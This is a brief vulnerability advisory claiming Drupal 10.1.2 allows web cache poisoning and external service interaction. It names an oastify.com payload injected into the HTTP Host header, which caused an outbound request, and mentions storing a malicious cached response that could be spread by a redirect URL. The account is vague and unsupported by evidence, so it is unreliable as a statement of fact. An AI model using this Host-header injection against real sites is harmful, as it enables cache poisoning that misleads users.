## Title: drupal-10.1.2 web-cache-poisoning-External-service-interaction ## Author: nu11secur1ty ## Date: 08/30/2023 ## Vendor: https://www.drupal.org/ ## Software: https://www.drupal.org/download ## Reference: https://portswigger.net/kb/issues/00300210_external-service-interaction-http ## Description: It is possible to induce the application to perform server-side HTTP requests to arbitrary domains. The payload d7lkti6pq8fjkx12ikwvye34ovuoie680wqjg75.oastify.com was submitted in the HTTP Host header. The application performed an HTTP request to the specified domain. For the second test, the attacker stored a response on the server with malicious content. This can be bad for a lot of users of this system if the attacker spreads a malicious URL and sends it by email etc. By using a redirect exploit.
